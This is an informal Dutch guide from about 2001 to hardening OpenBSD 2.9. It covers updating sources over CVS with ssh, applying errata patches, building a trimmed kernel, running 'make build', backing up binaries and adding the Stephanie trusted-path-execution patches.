Met dit moet je het maar eerst doen tijdens je sources op halen, reboot het
syteem:
# reboot
of:
# shutdown -r now /* voor de gebruikelijke manier. */
UTP\BNC kabel er weer in douwen\draaien.
Systeem komt weer op, houw de boot\startup messages in de gaten, staan er
fouten? fix het dan direkt in /etc/rc.conf en reboot, als ipf een err geeft
fix it dan direkt in /etc/ipf.rules en reboot, is ipf uberhaupt wel gestart?:
# ipfstat -io|less
Als het goed is zie je nu de -i (in) en -o (out) rules die je hebt aangemaakt
met de voorbeeld rules van deze guide, if not, fix it.
IPFILTER debug:
# ipfstat -t
Je ziet niks gebeuren, kijk straks maar weer zodra je de sources gaat
downloaden, als je wat ziet gebeuren is het omdat jij het toestaat in:
/etc/ipf.rules
Alles nu goed?
volgende stap:
# rm -fr /usr/src/*
Moet leeg zijn.
"Sources altijd ophalen via ssh."
Kies dan ook een cvs server die ssh server ondersteund.
Sources ophalen:
# export CVS_RSH="/usr/bin/ssh"
# export CVSROOT=anoncvs@anoncvs.be.openbsd.org:/cvs
# cd /usr; cvs checkout -P -rOPENBSD_2_9 src
anoncvs.be.openbsd.org is lekker snel.
Extreme security maatregel:
Neem om de zoveel tijd een andere anon-cvs server, je kan van te voren niet
zien of de anon-cvs server gekraakt is, of de dns entry is veranderd naar een
host van een cracker, met mischien als gevolg dat je trojans en backdoors aan
het downzuigen bent. Er is hier nog niet zover ik weet melding over geweest
dat dit daadwerkelijk ooit gebeurd is bij de cvs repository servers van
OpenBSD op het net, het is aan jouw de keuze om deze beslising\stap te maken.
Wat je altijd wel kan doen is via nslookup kijken naar de dns entry van
bijvoorbeeld: anon-cvs.nl.openbsd.org en dan kijken of dat een vertrouwde
plek is om je sources vandaan te halen is, uiteindelijk op ip adres ook nog
een host of dig doen om zeker te zijn, gevolgd door een traceroute.
shit happends, er worden dagelijks vele servers gekraakt op het net, beetje
gezonde paranoia moet kunnen.
Stel je krijgt via security-anounce mail lijst van OpenBSD nadat je de sources al binnen
hebt gehaald de eerste keer, een melding dat 1 van services lek is, waardoor
Crackers als ze shell access weten te scoren in jouw systeem door kunnen
hacken naar --> root, dan heb je een probleem, het OpenBSD security team maakt
binnen een uur tijd van de aangemelde\gevonden bug een source patch en
released die dan de wereld in binnen 1 a 24uur via hun web site en via de cvs servers
instantly, zo gauw als jij denkt:
"Fuck" (ook als is het alleen locale) kan je al via cvs de source patch
downloaden en automagisch invoeren in jouw sources in /usr/src en de
instructies verwerven van hun site op http://www.openbsd.org/errata.html
hoe de buggy services of shell\systeem tool opnieuw te
installen\upgraden\patchen.
Je sources wil je direkt na melding up2date hebben:
# export CVS_RSH="/usr/bin/ssh"
# export CVSROOT=anoncvs@anoncvs.nl.openbsd.org:/cvs
# cd /usr/src
# cvs -q up -rOPENBSD_2_9 -Pd
CVS tool update nu je sources, je ziet binnen een paar minuten de nieuwe
sources van de buggy lib\tool\services binnen komen, dit proces hoef je niet
alleen te doen wanneer er iets een bug heeft, je kan dit proces dagelijks doen
of op een vaste dag in de week. Aan de patch branch sources wordt continue
gewerkt en verbeterd, dus als je morgen je patch branch sources update dan kan
er al een verbetering\verandering in zijn doorgevoerd.
nadat we de sources hebben gedownload en nog voor dat we er iets mee gaan doen
maken we een tar bal van alle sources in /usr/src
# cd /usr/local/source;tar cvf source_patch_branch_2.9.tar /usr/src/
Na het maken van de tar bal doe een:
# du -h source_patch_branch_2.9.tar
345M source_patch_branch_2.9.tar
Deze output verschilt mischien met een paar mb's van wat jij hebt, de patch
branch (stable) zit nooit stil, dus als jij een tar bal bijvoorbeeld in augustus gaat
maken van /usr/src dan kan ie' groter wezen of kleiner dan in bijvoorbeeld
in oktober
Download direkt alle patches van OBSD 2.9 in een tar bal
# ftp ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9.tar.gz
en pakt die uit in een dir.
# tar zxvf 2.9.tar.gz
# vi /etc/rc.securelevel
verander deze regel: securelevel=3 naar securelevel=-1
-1 tijdelijk.
Terug zetten via:
# sysctl -w kernel.securelevel=-1
Wil niet wegens security redenen.
Nadat je de sources binnen hebt gehaald en de laatste patches tarbal van 2.9
reboot je de machine weer:
# shutdown -r now
UTP\BNC kabel er weer uit trekken\draaien.
Systeem komt weer op.
Nu eerst een:
# chflags noschg /bsd
We willen geen week wachten voor dat eindelijk de /var/db/locate.database
wordt ge-updated via cron weekly, we doen het zelf wel:
# sh /etc/weekly
Update locate db als (l)user nobody.
EN NIET ALS ROET HET VOLGENDE DOEN:
# sh /usr/libexec/locate.updatedb
NIET DOEN DUS!
# cd 2.9/common/
Nu als eerste kijken welke binaries\libs op het systeem upgraded\patched
moeten worden.
!!!! OPGELET !!!!
Waarschuwing, ga de gedownloade patches in 2.9.tar.gz NIET toepassen op je
source in /usr/src/ jouw sources zijn al up2date gemaakt door het cvs tooltje!
Nog krijgt men het voor elkaar (zelfs na herhaaldelijke waarschuwingen)
om het toch te doen, met als gevolg dat ze opnieuw de sources kunnen downloaden
omdat ze niet weten wat ze hebben verkracht in de source.
We willen alleen weten hoe en wat precies te doen met de binaries\libs die
upgraded\patched moeten worden in jouw machine, de daadwerkelijke patch
gedeelte van de patches in 2.9.tar.gz hoeven we ons niet mee bezig te houden,
alleen de kop met "Apply by doing:" om zo instructies te verwerven hoe onze
binaries\libs te upgraden\patchen.
Als het goed is ben je nu in de 2.9/common/ dir.
# pwd
~/obsd/patches/2.9/common/
Als je maar in ***/***/2.9/common/ zit is het goed.
# grep -A 8 "rebuild" * |less
Naast een zooi junk zie je ook de instructies.
In geval van de sendmail patch zie je staan:
++++++++++++++++++++++++++++++++++++++++++
cd gnu/usr.sbin/sendmail
make obj
make depend
make
make install
kill -HUP `sed 1q /var/run/sendmail.pid`
++++++++++++++++++++++++++++++++++++++++++
Daar staan onze instructies, derest kan je als junk beschouwen, de
instructies beginnen met: "cd gnu/usr.sbin/sendmail" daar bedoelen ze mee, cd
naar /usr/src/gnu/usr.sbin/sendmail, ze gaan ervan uit dat je al geparkeerd in
/usr/src/ staat, immers je bent met je sources bezig.
Hoe deze instructies toepassen:
# cd gnu/usr.sbin/sendmail
# make obj;make depend;make;make install
# kill -HUP `sed 1q /var/run/sendmail.pid`
De laatste opdracht kill -HUP `sed 1q /var/run/sendmail.pid` is om sendmail
opnieuw te laten starten met de schone binaries\libs en om zijn configuratie
bestanden opnieuw intelaten lezen.
Ga er niet van uit "by default" dat dit de manier van patchen\upgraden is van
alle binaries\libs van OpenBSD, maar kijk via grep -A 8 "rebuild" * |less de
instructies hoe jouw binaries\libs te patchen\upgraden, mocht je d.m.v
grep -A 8 "rebuild" * |less niet alle patch instructies goed op je scherm
krijgen, bekijk ze dan per stuk via less 001*;less 002* etc, etc...
Nog even een verduidelijking van 002_fts.patch:
Lees de volgorde van de instructies eerst door, de juiste volgorde wordt dan:
# cd /usr/src/lib/libc
# make obj;make depend;make;make install
Nadat je Libc upgraded hebt:
# cd /usr/src/bin/chmod
# make obj;make depend;make;make install
# cd ../cp
# make obj;make depend;make;make install
# cd ../ls
# make obj;make depend;make;make install
# cd ../pax
# make obj;make depend;make;make install
# cd ../rm
# make obj;make depend;make;make install
# cd ../../usr.bin/cmp
# make obj;make depend;make;make install
# cd ../../sbin/dump
# make obj;make depend;make;make install
Derest in 002_fts.patch als junk beschouwen en negeren.
Zo ga je alle patches af, bij sommige hoef je niks te doen dan alleen je
kernel op nieuw te compilen, je hebt de patch branch sources al up2date als
het goed is, dan ga je terug naar de dir waar je die 2.9.tar.gz hebt in
uitgepakt.
# cd ../i386/
en gaat die ook bij af, de andere dirs in ~/2.9/*** zijn voor andere
systemen dan Intel (i386) based systemen, mocht je 1 van die systemen hebben,
verander dan de 3 regels hier boven in:
# cd ../< `jouw systeem type' `sparc? =)' >/
De patches in 2.9.tar.gz zijn eigenlijk voor de cdrom versie van OpenBSD 2.9,
die cdroms hebben speciale cdrom sources erbij in zitten waar deze patches in
2.9.tar.gz eigenlijk voor bedoeld waren, mocht je de cdroms hebben vergeet
dan de sources die er dan bij zitten, en download de stable sources (patch
branch) dan.
Nu pas, pas nadat je alle patches hebt door gelezen en doorgevoerd ga je
met je kernel aan de slag.
Voor dat we de Stephanie patches gaan invoeren in onze source willen we
eerst kijken of onze source 100% werkt, dat er geen fouten in de source
kan zitten waardoor de kernel straks niet wil gaan compilen of deels maar,
of dat de make world mischien halverwege faalt etc.
Omdat te voorkomen gaan we nu met de kernel aan de slag en bouwen een proef kernel.
# cd /usr/src/sys/arch/i386/conf/
Er staan meerdere kernel voorbeeld config's in deze dir:
DISKLESS
ELBERETH
GANDALF
GENERIC
GENERIC_APPLI
HERMES
LUCIFIER
SOLO
etc,
Lees ze allemaal eerst even op je gemak door, kennis van je eigen hardware
komt nu erg goed van pas. tik delen van de voorbeeld kernels in je eigen
proef kernel over.
We beginen met:
# cp GENERIC TESTKERNEL
TESTKERNEL mag iedere naam zijn die je maar wilt.
De reden waarom we voor de GENERIC kernel gaan is simpel, als je skilled
genoeg bent dan gebruik je GENERIC niet als basis, dan hack je zelf een eigen
kernel gebaseerd op je eigen ideeen in elkaar, aan de andere kant, als je een
complete nono bent kwa de OpenBSD kernel dan ga je fouten maken, en vergeet je
gauw belangrijke zaken die in een elke OpenBSD kernel moeten zitten om de
kernel te laten werken. Crackers die alsnog binnen weten te komen en de
GENERIC kernel willen gaan exploiten komen straks alsnog bedrogen uit omdat we
de Stephanie patches straks gaan toepassen. Ga eerst een poosje met GENERIC
mee in de basis van je KERNEL config file, en pas als jezelf zover bent dat je
weet wat erin moet en wat je eruit kan laten dan pas kan je GENERIC achterwege
laten. Crackers zullen uit eindelijk manieren vinden om de Stephanie patches
te omzeilen, tot die tijd ben je redelijk secure in de basis van je OpenBSD
based systeem.
In je test kernel config file "TESTKERNEL"
Of andere relaxde naam die je er aan hebt gegeven.
staat op regel nummer 8:
include "../../../conf/GENERIC"
Dit willen we natuurlijk nader bekijken:
# vi ../../../conf/GENERIC
Vele devices\options zouw je toch niks aan hebben, dus we gaan wat uit de
GENERIC kernel in ../../../conf/GENERIC weg commenten, dus niet deleten!
Houw deze console met vi ../../../conf/GENERIC even open.
Open nu nog een console, we moeten nu even met die twee config files tegelijk
aan de slag, laat die andere met vi in de console even met rust en switch
hier even heen met de nieuwe console die je zojuist hebt geopend:
# cd /usr/src/sys/arch/i386/conf
# vi TESTKERNEL
# De eerste 5 regels moet je veranderen in bijvoorbeeld:
#
# TESTKERNEL -- Securing OpenBSD 2.9 TESTKERNEL
#
# $OpenBSD: TESTKERNEL,v 1.0 2001/07/27 02:25:02 pentag0n Exp $
#
machine i386 # NIET AANKOMEN, behalve als je wat anders hebt dan een i386
include "../../../conf/GENERIC" # NIET AANKOMEN
option I686_CPU # verander dit in degene die je hebt, de overige weg
commenten met een "#"
/*
Vanaf dit punt ben je even op je eigen brainpower aangewezen, ieder systeem
is weer anders wat betreft hardware, 1 goeie tip: als je iets niet begrijpt,
doe er dan niks mee, laat het staan, zo als het staat, dingen die je wel denkt
te snappen en waarvan je zeker bent wat het doet, daar kan je ingrijpen,
verwijder de eerste paar keren dat je een OpenBSD kernel compiled niks uit
je kernel config file, maar zet er een "#" voor. OpenBSD wouw je mischien
gaan gebruiker als server of als router, bekijk en config je kernel config
file dan ook vanuit die hoek, en niet vanuit een workstation hoek.
Als je geen USB of SCSI hebt\of wil gaan gebruiken, verwijderd dat dan
compleet. Wees nogmaals wel voorzichtig, bij twijfel zet er een "#" voor.
Alles kwa hardware van jouw systeem staat in deze file, deze config file ook
gebruiken om eigen stuff in te adden, maak hier een gewoonte van ipv dat je
die andere GENERIC config file op je andere console stuff in zit/gaat adden.
DEZE COMMENT IN ZIJN ALGEHEEL VERWIJDEREN, mocht het perongeluk in je kernel
config file terecht zijn gekomen.
*/
# Alle COMPAT options weg commenten in deze file.
#option COMPAT_SVR4 # binary compatibility with SVR4
#option COMPAT_IBCS2 # binary compatibility with SCO and ISC
#option COMPAT_LINUX # binary compatibility with Linux
#option COMPAT_FREEBSD # binary compatibility with FreeBSD
#option COMPAT_BSDOS # binary compatibility with BSD/OS
# Reden: als we willen spelen installeren we ook X, we skippen dan deze
# guide en gaan dan een workstation bouwen van OpenBSD 2.9
option DUMMY_NOPS # speed hack; recommended
# Doen.
# Om die saaie blauwe kleur tijdens kernel messages (bootup/startup)
# een andere kleur te geven, kan je veranderen door dit te adden in je kernel
# config file:
option WS_KERNEL_FG=WSCOL_GREEN
option WS_KERNEL_BG=WSCOL_RED
option WS_KERNEL_COLATTR=WSATTR_WSCOLORS
# We willen als de ipfilter rules nog niet geladen of is geswitched
# het volgende:
option IPFILTER_DEFAULT_BLOCK
# De andere 2 IPFILTER options staan al in ../../GENERIC
# Heeft het systeem echt lpt ports nodig? of com ports? of een ps/2 port?
# USB?? laat het dan ook uit je kernel, disable het in ook de bios.
# sloop het desnoods uit je box. Een cdrom drive?
# fysieke security verschilt per locatie, sta er wel even bij stil.
# als je klaar bent met deze file (TESTKERNEL) write en quit
Switch nu terug naar die andere console met vi ../../../GENERIC
In deze GENERIC config file is het raadzaam om dingen ipv te deleten weg te
commenten met een "#" om ook niet later in de war te raken met de default weg
ge-commentende opties, maak er "#33" van bijvoorbeeld.
mocht er nu iets verkeerd gaan open je /usr/src/sys/conf/GENERIC en
kan je zo je eigen comments\fouten weer terug halen.
Doe eens weer in die andere console:
# ifconfig -a
Dat gaat nu we aanpakken.
switch weer terug naar andere console
Heb je een ipv4 of een ipv6 ip adres? als je alleen ipv4 hebt dan kan je
alles van ipv6 weg commenten:
#33 option INET6
#33 option PULLDOWN_TEST
#33 pseudo-device gif
#33 pseudo-device gre
Ga je gebruik maken van IPSEC ja/nee, if nee:
#33 pseudo-device enc
Ik neem aan dat je PPP niet gaat gebruiken, anders had je de patch branch
sources nu ook niet binnen gekregen dus dat kan er allemaal uit van PPP:
#33 option PPP_BSDCOMP
#33 option PPP_DEFLATE
#33 pseudo-device ppp 2
#33 pseudo-device sppp
Moet het uiteindelijk een NFS server worden of client? if not, weg commenten:
#33 option NFSCLIENT
#33 option NFSERVER
Overige wat er uit moet\kan, lees man tun of man vlan bijvoorbeeld bij
onzekerheid als je het toch nodig moet hebben. 9 v/d 10 cases zouw je het
toch niet nodig hebben:
#33 pseudo-device sl 2
#33 pseudo-device tun 2
#33 pseudo-device vlan 2
#33 option MSDOSFS # kiddo time is over.
Mocht je ooit support nodig hebben voor 1 v/d dingen die je hebt weg
gecomment met " #33 " -un-comment wat je dan nodig moet hebben en bak je
kernel dan opnieuw, door dingen die je zojuist hebt weg gecomment is jouw
systeem al een stuk securer geworden na kernel compile.
Aantal tips nog voor de dingen in deze config file:
-Un-comment voor een router \ bastion host:
option GATEWAY
option TCP_SACK
option TCP_FACK
option GATEWAY enabled ipforwarding voor je zodat je het niet meer via
/etc/sysctl.conf of via: sysctl -w net.inet.ip.forwarding=1 hoeft te enablen
en verhoogt direkt NMBCLUSTERS naar 512 ipv de standaard 256, als je wel
eens kernel mbuf maps meldings\messages hebt gehad
"/bsd: ``mb_map full'' x 100 in je console en logs dan wil je dit zeker
hebben, voor een gateway\bridge bij een provider is 1028 mischien wel niet
eens zo gek om via:
option NMBCLUSTERS=1028 # te definen in je kernel config file.
Voor de meeste home/site situaties is "512" ruim voldoende.
option TCP_SACK en option TCP_FACK in short: zorgen voor een perfecte data
stroom tussen jouw en de hosten waar je mee connect op het net, mits de
andere host ook SACK ondersteund. Zijn er genoeg.
# --- NAT /etc/ipnat.rules (man ipnat)
# Bastion host plaatje kan je mischien beter op splitsen in 2 pc's, 1 voor
# routing en de andere als web server intern in een speciale netwerk d.m.v NAT
# te gebruiken op de router via "rdr" in (/etc/ipnat.rules) te gebruiken:
# rdr ed1 123.123.123.55/32 port = 80 -> 192.168.0.80 port 80
# Waar "ed1" de interface is verbonden met het net en "123.123.123.55" de
# ip adres die je van je provider hebt gekregen. Zorg dan wel dat je "rdr"
# rule regel als eerste boven aanstaat in je /etc/ipnat.rules voor je andere
# rules. IPFILTER (/etc/ipf.rules) dan ook niet vergeten uptedaten.
# --- NAT /etc/ipnat.rules (man ipnat)
Wil je OpenBSD's coole BRIDGE mode testdriven:
pseudo-device bridge 2 # 2 voor 2 nic's, 3 voor 3 nic's etc...
dan uncommenten, lees man bridge voor alle details.
Let er nu op dat je 1 loopback defined:
pseudo-device loop 1
Voor elke "option" in je kernel config: man options
Als je klaar bent met deze GENERIC config file ../../../conf/GENERIC
(is /usr/src/sys/conf/GENERIC) write en quit.
Mischien dat je nu ook in ziet dat het beter is om je eigen kernel config
files te schrijven i.p.v dan dat je nu 2 config files hebt ge-edit en dan 1
config file te maken met alleen stuff er in die jij wilt/nodig hebt.
# cd /usr/src/sys/arch/i386/conf
# /usr/sbin/config TESTKERNEL
Als kernel config tooltje je nu een error geeft is er geen reden tot paniek,
kijk wat de config output je zegt en fix het dan direct in je kernel config
file(s) (GENERIC en TESTKERNEL)
Als je klaar bent met fixen dan weer:
# /usr/sbin/config TESTKERNEL
Don't forget to run "make depend"
Je kernel is nu klaar om gebakken te worden:
# cd ../compile/TESTKERNEL/
# make clean;make depend;make clean;make
Houw je console in de gaten voor errors.
OpenBSD laat je uiteindelijk weten of er iets verkeerd is gegaan of dat het
goed gegaan is, in geval van verkeerd gegaan kijk of je het kan herleiden,
if not: http://www.openbsd.org/faq/
Is alles goed gegaan dan zie je de laatste 2 regels met:
text data bss dec hex
Dan is het goed gegaan.
# cp /bsd /bsd.old
of
# cp /bsd /bsd.GENERIC
# cp -f bsd /bsd
# shutdown -r now
Beide manieren:
bsd.old en bsd.GENERIC zijn wazig, copy het naar bijvoorbeeld:
# cp /bsd /bsd.6464
Zet er een nummer achter die jezelf kan onthouden.
Niet te enthousiast de UTP\BNC kabel er weer inzetten\draaien, nog even
wachten daar mee.
Systeem boot nu met jouw kernel die je zojuist hebt gemaakt, kijk of je
errors\veranderingen ziet.
Moet er na reboot nog het een en ander getweaked worden in je kernel config
file doe dat dan direkt, en compile je kernel dan opnieuw.
# /usr/sbin/config TESTKERNEL
# cd ../compile/TESTKERNEL
# make clean;make depend;make clean;make
# cp -f bsd /bsd;shutdown -r now
Als je denkt dat alles is goed gegaan, loop het hele kernel proces voor
jezelf nog eens na, vanaf het moment van kernel configen tot compilen.
Je kernel bakte zonder problemen?
Beter, we pakken de sources tarbal erbij die je eerder hebt gemaakt.
source_patch_branch_2.9.tar
Deze tarbal ga je verplaatsen naar een andere machine en NIET bewaren op de
zelfde machine waar je die tarbal op hebt gemaakt, waar het dan uit
eindelijk op cd-r of ander medium moet belanden, zodat je incase of shit,
je niet de complete source hoeft te downloaden maar dan alleen een:
# export CVS_RSH="/usr/bin/ssh"
# export CVSROOT=anoncvs@anoncvs.nl.openbsd.org:/cvs
# cd /usr/src
# cvs -q up -rOPENBSD_2_9 -Pd
Hoeft te doen.
Voordeel van dit is dat je niet nog een keer de stable sources hoeft te
downloaden, heb je meerdere OpenBSD machines in beheer dan is dit wel zo
ideaal.
Je systeem begint al aardig secure te worden zo, dit alleen is al vrij secure
als je het zo laat, lijkt me dom, maar dat is dan je eigen keuze, veel
plezier dan, maar houw dan wel in het achter hoofd:
"Bijna secure, is `niet` secure."
Voor degene die meer willen dan een beetje patchen en kernel bakken,
lees verder.
Nu heb je (als het goed is) de sources up2date in /usr/src liggen, hou ze daar
nog even.
Met de sources die je op je hd hebt staan kan je meer mee doen dan alleen de
belangrijkste dingen uit te patchen en een kernel bakken. Zouw het niet cool
wezen om je OpenBSD 2.9 systeem compleet from scratch te compilen met de
nieuwste sources?
Welkom in de wereld die heet: BSD UNIX
Ik denk dat ik eerst maar het een en ander moet gaan verduidelijken omtrent
het patch\upgrade gebeuren van OpenBSD UNIX
De patches die je vindt op http://www.openbsd.org/errata.html wel, dat zijn
ze niet allemaal, daar staan alleen de belangrijkste patches voor het geen
wat het meest gebruikt wordt van OpenBSD UNIX, plus wat eventueel een security
hazard kan worden of al is, voor al het overige heeft men gewoon weg geen
tijd\man kracht voor om voor elke kleine bugje een advisory voor te
schrijven, die tijd gebruiken ze liever b.v om hun volgende release (3.0) te gaan
verbeteren etc..
I.p.v dat ze een advisory gaan schrijven voor het overige, gaan ze de
gevonden bug direkt patchen\upgraden en in voegen in de Patch (stable)
branch sources, die je dan via cvs update kan ophalen 1 a2x in de week om zo
je systeem optimaal secure te houden.
Volgende probleem:
" Hoe de neuk kan ik nu ruiken hoe en wat er eventueel buggy is in mijn systeem ??? "
Als je cvs update runt kijk wat er Updated wordt, cvs update is binnen
(meestal) 5 minuten klaar met updaten van je sources (als er wat viel
uptedaten)
Volgende probleem:
"Geen advisory :( geen instructies hoe iets opnieuw te pillen en te installen
:( ik ben newbie zeg maar."
Dan compile je toch compleet OpenBSD from scratch met de laatste sources 1x in de week.
====== MAKE WORLD =====
Make build is de OpenBSD variant van make world zoals je bij FreeBSD hebt.
De stable sources in /usr/src is in wezen de laatste uitgave van OpenBSD 2.9
inclusief alle patches en verbeteringen tot het moment van je laatste cvs
update. Dit is wreed, zeker vanuit het oog punt van security, maar het heeft
ook een keer zijde, als je van plan bent een make build (aka make world) te
gaan doen, denk even na wat je dan doet, je compiled OpenBSD dan "compleet"
from scratch en installed dan alles wat er standaard bij OpenBSD in zit.
X, GAMES etc.. alle shit die je echt niet wil hebben op een server\firewall.
Alle default setuid files komen weer terug, alle config files worden
vernieuwd in /etc met als gevolg als je vergeet die te back uppen dat je
fucked bent als je niet een backup daar van hebt gemaakt,
passwd\master.passwd wordt vernieuwd etc.. met als gevolg een schoon systeem
na make world, als er eventuele backdoors\trojans in je systeem zitten dan worden
die ook in 1x weg gevaagd, dat is allemaal erg mooi, maar niet voor je
config files in /etc en overige stuff van jezelf, BACKUP! dus voor dat je
het gaat doen. Na make world log je in een passwd loos roet account plus
alle services die draaien na een default install (inetd\portmap\sendmeel)
zijn ook weer terug naar default OpenBSD settings, dus op dat moment moet
die doos niet live aan het net hangen, of voor die tijd als je alles remote
gaat doen dump alle nieuwe distribution files in /home/newroet en copy peest\diff
vergelijk alle nieuwe files in newroet dir met de huidige in "/" en check op
veranderingen en voer ze met de hand door, als je console access hebt en de
doos heeft nog geen functie (bijvoorbeeld na eerste install) dan kan je
gewoon blunt uit export DESTDIR=/ doen, enigste waar je dan wel op moet
letten is dat je A) je eerdere gemaakte config files backuped en B) Dat de
UPT\BNC kabel er dan NIET in zit :-) alleen ifconfig nic down geen genoegen
mee nemen. Niet na het make world proces al jouw vorige config files terug dumpen
op z'n plek, het kan nmlk wezen dat OpenBSD besloten heeft om wat te veranderen
in de nieuwe config files, een andere style van configen etc... kijk en
vergelijk. Na make world alle GAMES en X gerelateerde shit verwijderen.
Het make world proces.
De volgorde v/h make world proces hier onder beschreven is de manier die ik
toepas op mijn systemen, met deze volgorde verloopt het make build proces
gladjes, zonder dat de make build ergens halverwege er mee kapt.
Het make build proces duurt op een PIII 600 met 256MB ram ongeveer ander
half uur, op een AMD-K6-2 500 met 192MB ram ongeveer 3 uur.
Mensen maken fouten, OpenBSD maintainers die dingen mogen
toevoegen\veranderen in de stable source maken ook fouten, waardoor mischien
de make build er mee kapt na 1 uur compilen\installen, dit 'kan' gebeuren,
de mensen achter OpenBSD doen er alles aan om dit te voorkomen, dus voor dat
er iets Live in de stable sources wordt veranderd\toegevoegd test men het
eerst alvorens het te releasen naar de cvs servers.
Eerste stap:
# cd /usr/src
# find . -type l -name obj | xargs rm
# make cleandir
# rm -rf /usr/obj
# mkdir /usr/obj
# make obj
# cd /usr/src/etc && make DESTDIR=/ distrib-dirs
Je had al een kernel gebakken van deze source, if not:
# cd /usr/src/sys/arch/i386/conf
# config TESTKERNEL
# cd ../compile/TESTKERNEL
# make clean;make depend;make clean;make
# cp /bsd /bsd.old && cp -f bsd /bsd
# shutdown -r now
# cd /usr/src
# make build
Houston we have "LIFT OFF!"
Dit gaat heel lang duren op een PI 233mhz, halve dag is niks, laat maar
compilen\installen die doos, ga wat anders doen.
Na een paar uur is het make build proces klaar, je ziet het vanzelf, als de
make build eindigt met een error dan is het niet goed gegaan, dan kan je:
# make -n build
dan doen en kijken wat ie' precies doet, vindt je de error en kan je het
fixen doe het dan direkt en doe dan weer een:
# make build
Lukt het nu niet weer, cvs update je sources weer om de fouten te verwijderen,
en probeer dan weer.
Lukt het daarna nog niet (jeez, crapy hardware??)
check: http://www.openbsd.org/ voor meer info.
Wanneer de make build zonder problemen gegaan is, dan zie je dat d.m.v
dat hij niet gestopt is met een error. sad, but true, lekker duidelijk van
OpenBSD.
Nu krijgen we dat verhaal waar ik het eerder over had, is dit een live
systeem die al aan het net hangt of is dit direkt na eerste install?
Voor een Live systeem die aan het net hangt:
# mkdir /home/newroet ; export DESTDIR=/home/newroet
Voor als je console access hebt direkt na eerste instal:
# export DESTDIR=/
Dan (nadat je de voor juiste DESTDIR hebt gekozen\gedaan hier boven)
# cd /usr/src/etc && make distribution-etc-root-var
# shutdown -r now
Na reboot je systeem opnieuw weer configen etc..
Naast de sources securen willen we ook wel wat schone binaries achter de hand
houden inc de in /etc gelegen config files:
# cd /usr
# tar cvf bin-obsd-2.9.tar /bin/*
# tar cvf sbin-obsd-2.9.tar /sbin/*
# tar cvf usr-bin-obsd-2.9.tar /usr/bin/*
# tar cvf usr-sbin-obsd-2.9.tar /usr/sbin/*
# tar cvf usr-libexec-obsd-2.9.tar /usr/libexec/*
# tar cvf etc-obsd-2.9.tar /etc
# tar cvf kernels-obsd-2.9.tar /bsd /bsd.GENERIC /bsd.old
# mkdir /usr/blaat
# mv *.tar /usr/blaat/
# tar cvf openbsd-2.9.backup.tar blaat/*.tar
# rm -fr blaat
Nadat de sources en backup tar's van het systeem zijn gehaald rm je de tar's
die achter blijven op het systeem.
Dat viel wel mee toch?
Het is wat anders dan je default kerneltje bakken, mocht je dit "make world"
nu kick ass vinden en je bent eigenlijk wel uitgekakt op je huidige *NIX
distro en je wilt meer hier mee spelen, mischien zelfs als workstation?
zie http://www.freebsd.org BSD UNIX op z'n best. OpenBSD is behoorlijk kaal
voor als workstation, vandaar de link richting FreeBSD, OpenBSD moet je
nogmaals gebruiken voor waar het goed voor is.
De Stephanie patches.
Jullie zullen mischien al bekend zijn met de patches van openwall voor Linux.
Onder OpenBSD hebben we de Stephanie patches, dit "wil" je gewoon hebben als
je echt op security staat. De Stephanie patches zijn eigenlijk bedoeld voor
een shell doos bijvoorbeeld met meerdere bad magic users, maar wie houdt je
tegen om ze te gaan toepassen op bijvoorbeeld een
web\dns\mail\ftp\bridge\firewall systeem?
NOTE:
Na het invoegen van de Stephanie patches gaat een "make build" niet meer
lukken met de sources, doe VOOR dat je de patches gaat toepassen een:
# tar cvf stable-bak.tar /usr/src
Zodat je het altijd weer ongedaan kan maken.
Ook voor dat je er mee aan de slag gaat, eerst een nieuwe kernel en een make
world doen VOOR dat je dit gaat doen, dit heb je net (of eerder) al gedaan
als het goed is.
LEES eerst de online docs at: http://www.packetfactory.net/Projects/Stephanie/
Download de Stephanie patches en pas ze toe:
# lynx -dump http://www.packetfactory.net/Projects/Stephanie/stephanie-0.tar.gz > stephanie-0.1.tar.gz
# tar zxvf stephanie-0.1.tar.gz
# cd stephanie-01/
# cp stephanie-29-0.1.patch /usr/src/
# cd /usr/src/
# patch -p0 < stephanie-29-0.1.patch
# cp ~/stephanie-01/kern/kern_tpe.c /usr/src/sys/kern
# cp ~/stephanie-01/kern/kern_tpe_sys.c /usr/src/sys/kern
# cp ~/stephanie-01/sys/kern_tpe.h /usr/src/sys/sys
# cd /usr/src/sys/kern/
# make
# cp /usr/src/sys/sys/syscall.h /usr/include/sys/
# cp /usr/src/sys/sys/syscallargs.h /usr/include/sys/
# cp /usr/src/sys/sys/sysctl.h /usr/include/sys/
# cp /usr/src/sys/sys/kern_tpe.h /usr/include/sys/
# cp /usr/src/sys/sys/proc.h /usr/include/sys
# cd /usr/src/sys/arch/i386/conf
# config TESTKERNEL
# cd /usr/src/sys/arch/i386/compile/TESTKERNEL
# make depend ; make clean ; make
# cp /bsd /bsd.old ; cp -f bsd /
# shutdown -r now
Na reboot:
# dmesg | grep list
Trusted patch execution list initialized
tpe: UID 0 added to trust list
# cp ~/stephanie-01/lib/lib-29.patch /usr/src
# cd /usr/src
# patch -p0 < lib-29.patch
# cd /usr/src/gnu/usr.bin/ld/rtld <<<<--- let op dat die WEL gepatched wordt!
# make ; make install <<<<--- anders heb je hier problemen.
# cd /usr/src/lib/libkvm
# make ; make install
# cd /usr/src/bin/ps
# make ; make install
# cd /usr/src/usr.bin/top
# make ; make install
Verder als voorbeeld van de Stephanie maker:
# chflags schg /bin/sh
# chflags schg /bin/csh
# chflags schg /bin/ksh
# chflags schg /bin/rksh
# chflags schg /usr/bin/perl
# chflags schg /usr/bin/awk
Verder als beter voorbeeld van mij:
# chflags schg /bin/*
# chflags schg /sbin/*
# chflags schg /usr/sbin/*
# chflags schg /usr/bin/*
# chflags schg /usr/libexec/*
Moet er nu ooit file permissies veranderd worden in 1 van die dirs dan moet je
eerst:
# chflags noschg /sbin/*
bijvoorbeeld doen, wat alleen gaat werken als kern.securelevel op 0 staat of
op -1.
ga pas met chflags spelen als alles pas na een make world of na het patchen
op z'n plek staat. (man chflags/chmod/rc.securelevel)
# cp ~/stephanie-01/misc/
# make ; make install
Nu pas is je OpenBSD 2.9 base wat meer secure dan het is na default install,
je kan het nu gaan gebruiken voor DNS\MAIL\FTP\Whatever server doeleind,
houw BUGTRAQ in de gaten, doe minstens 1x per week een cvs update, doe een
make world 1x in de maand op z'n minst en ga op wat mailinglists staan van
OpenBSD: http://www.openbsd.org/mail.html
security-announce is de list die je zowieso moet hebben.
Dit alles aanvullen met een NIDS en IDS naar keuze om zo je systeem meer secure te maken.
